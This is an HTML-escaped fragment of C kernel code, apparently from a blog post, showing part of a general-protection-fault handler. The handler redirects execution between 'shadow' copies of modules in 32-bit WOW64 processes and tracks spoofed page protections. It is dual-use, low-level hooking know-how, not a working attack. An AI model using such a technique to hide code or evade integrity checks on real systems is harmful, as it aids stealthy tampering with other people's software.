&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 31&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Instruction&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mh"&gt;0xE8&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 33&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Frame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;imm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;imm32&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 34&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 35&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 36&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;FALSE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 37&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 38&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 39&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;BOOLEAN&lt;/span&gt; &lt;span class="n"&gt;NTAPI&lt;/span&gt; &lt;span class="nf"&gt;HkOnGpf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ITRAP_FRAME&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 40&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 41&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Cs&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;SHADOW_HOOK_SEG&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 42&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 43&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// CALL | JMP | RET to the outside of segment
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 44&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;__swapgs&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 45&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;SHADOW_MODULE_ENTRY&lt;/span&gt; &lt;span class="n"&gt;Sme&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;GetShadowModuleFromRip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;PsGetCurrentProcessId&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 46&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 47&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Sme&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ModuleReal&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 48&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 49&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;RspBackup&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rsp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 50&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;_enable&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 51&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//Log( &amp;#34;Handling call to the outside of shadow module @ %llx\n&amp;#34;, TrapFrame-&amp;gt;Rip );
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 52&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;__try&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 53&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 54&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint32_t&lt;/span&gt; &lt;span class="n"&gt;Destination&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 55&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint8_t&lt;/span&gt; &lt;span class="n"&gt;InstructionSize&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 56&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;ResolveCall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Sme&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ModuleReal&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;Sme&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ModuleShadow&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Destination&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;InstructionSize&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 57&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 58&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint32_t&lt;/span&gt; &lt;span class="n"&gt;IsPageMapped&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;FALSE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 59&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 60&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;KIRQL&lt;/span&gt; &lt;span class="n"&gt;Irql&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;RsAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Rs_ProcessRecordSpinLock&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 61&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;Pid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;PsGetCurrentProcessId&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 62&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Rs_ProcessRecordsMaxPid&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Pid&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;Rs_ProcessRecords&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="n"&gt;Pid&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 63&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 64&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nf"&gt;ARRAYSIZE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Rs_ProcessRecords&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="n"&gt;Pid&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;SpoofedProtect&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 65&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 66&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;Rs_ProcessRecords&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="n"&gt;Pid&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;SpoofedProtect&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;PageBase&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 67&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 68&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Rs_ProcessRecords&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="n"&gt;Pid&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;SpoofedProtect&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;PageBase&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="mh"&gt;0xFFF&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="mh"&gt;0xFFF&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 69&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 70&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;IsPageMapped&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 71&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 72&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 73&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 74&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 75&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;RsReleaseSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Rs_ProcessRecordSpinLock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Irql&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 76&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 77&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rsp&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="mh"&gt;0x4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 78&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rsp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 79&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;IsPageMapped&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 80&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;InstructionSize&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Sme&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ModuleReal&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;Sme&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ModuleShadow&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 81&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;InstructionSize&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 82&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Destination&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 83&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Cs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WOW64_SEG&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 84&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//Log( &amp;#34; --&amp;gt; %llx (%d)\n&amp;#34;, TrapFrame-&amp;gt;Rip, IsPageMapped );
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 85&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 86&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;_disable&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 87&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;__swapgs&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 88&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 89&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 90&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 91&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;__except&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 92&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 93&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 94&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;_disable&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 95&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;__swapgs&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 96&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rsp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;RspBackup&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 97&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="n"&gt;Sme&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ModuleReal&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 98&lt;/span&gt;&lt;span class="cl"&gt;   &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;Sme&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ModuleShadow&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 99&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;TrapFrame&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Cs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WOW64_SEG&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;100&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;101&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;102&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;103&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;104&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// You are fucked.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;105&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
